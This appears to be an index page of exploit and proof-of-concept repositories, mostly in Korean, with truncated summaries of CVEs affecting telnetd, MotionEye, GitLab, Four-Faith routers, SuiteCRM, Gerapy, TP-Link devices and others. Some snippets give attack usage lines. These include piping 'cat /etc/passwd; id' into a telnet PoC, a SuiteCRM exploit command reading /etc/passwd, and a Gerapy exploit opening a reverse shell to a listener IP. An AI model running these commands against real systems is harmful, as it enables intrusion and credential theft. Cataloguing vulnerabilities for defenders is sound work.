CVE-2026-24061

CVE-2026-24061 - telnetd 인증 우회 개요 GNU InetUtils의 telnetd에서 발생하는 argument injection 취약점입니다. 영향받는 버전은 1.9.3부터 2.7까지이며, CVSS 점수는 9.8입니다. 2026년 1월 26일부터 CISA KEV 목록에 등재되어 실제 야생에서 활발히 악용되고 있습니다. 핵심 트릭은 telnetd가 NEW-ENVIRONRFC 1572을 통해 클라이언트로부터 환경 변수 USER 값을 받아 검증 없이 그대로 login1 호출에 삽입한다는 점입니다. 클라이언트가...

CVE-2025-60787

CVE-2025-60787 CVE-2025-60787 Poc - RCE - MotionEye = 0.43.1b4 원본 링크: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter 클라이언트 측 검증 우회를 통한 MotionEye RCE 요약 Docker에서 실행 중인 MotionEye 인스턴스의 보안 테스트 중 웹 UI 내 클라이언트 측 검증이 우회될 수 있음을 확인했습니다. 이를 통해 호스트 컨테이너에서 실행을 트리거할 수 있는 페이로드를 포함한 임...

CVE-2026-20841

CVE-2026-20841 이 콘텐츠는 PatchPoint 구독자를 위한 월간 보고서를 통해 제공되는 내용의 일부에 해당합니다. 개요 Microsoft는 2026년 2월 메모장의 RCE 취약점에 대한 패치를 공개했습니다. 이 취약점은 Windows 메모장의 마크다운 렌더링에서 Control 버튼과 함께 링크를 클릭할 때 트리거되는 명령 주입 취약점입니다. 이 취약점은 간단히 설명할 수 있습니다. 마크다운에서 Control+클릭을 통해 링크에 접근할 때 URI 스킴에 대한 필터링이 없어 해당 프로토콜의 처리기 애플리케이션이 실행...

CVE-2021-22205-gitlab

취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생할 수 있었습니다. 취약 제품 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 환경 구성 export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com \ --publish 443:443...

CVE-2024-12856

CVE-2024-12856 이것은 Four-Faith 라우터 모델 F3x24 및 F3x36에서 리버스 셸을 획득하기 위한 익스플로잇입니다. "Four-Faith 라우터 모델 F3x24 및 F3x36은 운영 체제OS 명령 주입 취약점의 영향을 받습니다. 최소 펌웨어 버전 2.0은 apply.cgi를 통해 시스템 시간을 수정할 때 인증된 원격 공격자가 HTTP를 통해 임의의 OS 명령을 실행할 수 있도록 허용합니다. 또한 이 펌웨어 버전에는 기본 자격 증명이 있으며, 변경되지 않은 경우 이 취약점은 사실상 인증되지 않은 원격 OS...

CVE-2026-24061-POC

CVE-2026-24061-POC echo "cat /etc/passwd; id;" | python poc2.py TARGET 23 1. 연결 타임아웃 위치: establishconnection 메서드의 25번째 줄 python self.connection.settimeout10 -- 조정 가능한 연결 타임아웃 목적: 대상에 대한 초기 TCP 연결을 기다리는 시간을 제어합니다. 권장 값: 빠른 네트워크: 5-10초 느리거나 불안정한 네트워크: 15-30초 기본값: 10초 2. select 폴링 타임아웃 위치:...

CVE-2026-25589-25588-25243-23631-23479-REDIS

Redis 5개 CVE 검사 및 조치 가이드 2026.05.08 기준 발행일: 2026-05-08 작성자: TonyCao [email protected] 출처: Redis Security Advisory 목차 1. 개요 2. 영향을 받는 버전 3. 각 CVE 상세 정보 CVE-2026-23479 — Unblock Client Flow의 Use-after-free CVE-2026-25243 — RESTORE의 Invalid Memory Access CVE-2026-25588 — RedisTimeSeries Module과...

CVE-2021-45897

CVE-2021-45897 CVE-2021-45897일명 SCRMBT-180에 대한 PoC - SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 사용 예시: .venv ➜ CVE-2021-45897 git:main ✗ ./exploit.py -u user -p --payload "cat /etc/passwd" INFO:CVE-2021-45897:Login did work ...

CVE-2026-0834

CVE-2026-0834 PoC TP-Link 장치 디버그 프로토콜TDDP 인증 우회 CVE-2026-0834 개요 TDDPTP-Link Device Debug Protocol 서비스의 취약점으로 인해 로컬 네트워크의 인증되지 않은 원격 공격자가 관리 명령을 실행할 수 있습니다. TDDPv2 패킷을 처리할 때 pktLength 값이 0이면 단락 평가short-circuit evaluation로 인해 DES 복호화 루틴이 건너뛰어집니다. 28바이트 패킷 헤더를 초과하여 전송된 데이터는 복호화된 페이로드 데이터가 예상되는 버퍼에...

CVE-2026-25546-godot-mcp-0.1.1-OS-Command-Injection

CVE-2026-25546 PoC - godot-mcp OS 명령 주입 작성자: Mohammed Idrees Banyamer GitHub: mbanyamer 날짜: 2026년 2월 4일 익스플로잇 제목 godot-mcp npm install...

CVE-2026-25512-PoC-Group-Office-Authenticated-RCE

CVE-2026-25512 PoC – Group-Office 인증된 TNEF 핸들러를 통한 RCE 작성자: Mohammed Idrees Banyamer 핸들: @banyamersecurity GitHub: mbanyamer 날짜: 2026년 2월 4일 익스플로잇 제목 Group-Office Intermesh 26.0.4 – TNEF 첨부 파일 핸들러를 통한 인증된 RCE CVE CVE-2026-25512 CWE CWE-78 OS 명령 주입 공급업체 Intermesh / Group-Office 취약한 버전 26.0.4 일부 25...

CVE-2026-25130-Cybersecurity-AI-CAI-Framework-0.5.10

CVE-2026-25130 – 사이버보안 AICAI 프레임워크 인자 주입 / OS 명령 주입 PoC 작성자: Mohammed Idrees Banyamer 국가: 요르단 GitHub: https://github.com/yourusername Instagram: @banyamersecurity 개요 이 저장소는 사이버보안 AICAI 프레임워크에서 OS 명령 주입으로 이어지는 인자 주입 취약점을 입증하는 PoCProof of Concept를 포함합니다. 이 문제는 findfile 유틸리티에 존재하며, 사용자 입력이 내부 시스템 명령...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 - 스캔을 위한 OpenCode 인증되지 않은 RCE Nuclei 템플릿. burp suite 요청 POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 POST /session/"id"/shell HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11;...

cve-2021-32849

cve-2021-32849 cve-2021-32849gerapy 명령 실행 사용 방법 먼저 nc로 리슨을 시작한 후 exp로 공격합니다 python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857gerapy 명령 실행 면책 조항 스크립트는 학습 참고용으로만 제공되며, 타인의 웹사이트를 악의적으로 공격하지 마십시오. 불법 행위로 인해 발생하는 모든 결과는 사용자 본인이 부담합니다. 기술은 무죄이며, 작성자와 무관합니다. 스크립트 사용 시 위 사항에 동의하는 것으로 간주됩니다! --Author:lowkey0808 사용 방법 -h, --help 도움말 및 종료 옵션 표시 -u URL -U 로그인 사용자 -P 로그인 비밀번호 -r 리버스 셸 IP -p 리버스 포트...

CVE-2026-12542

A flaw was found in Foreman. The foreman-tail utility is vulnerable to OS command injection due to the unsafe use of the eval command. The script takes user-supplied arguments and incorporates them directly into a string that is then executed by eval to expand file paths. Because the input is not...

CVE-2026-12545

A flaw was found in rubygem-hammercli. A command injection vulnerability exists in Hammer CLI and the Railties Ruby on Rails component distributed with Satellite due to the insecure interpolation of the $EDITOR environment variable into the Ruby system method. By passing a single interpolated...

CVE-2026-104018

An improper privilege management vulnerability CWE-269 exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, a command may be evaluated without the privilege check that is normally applied, allowing an...

CVE-2026-102369

Tapo C120 v1 and C200 V5 do not adequately protect login challenge data or sanitize attacker-controlled input processed by the MacTool handler. An unauthenticated attacker on the same local network can replay login challenge data to obtain an administrative session, enable a privileged service th...

CVE-2026-102294

TP-Link TL-WR841N contains an authenticated OS command injection vulnerability in the IPv6 WAN configuration. A crafted IPv6 Gateway value is improperly incorporated into a system command, allowing an authenticated administrator to execute arbitrary operating system commands. Successful...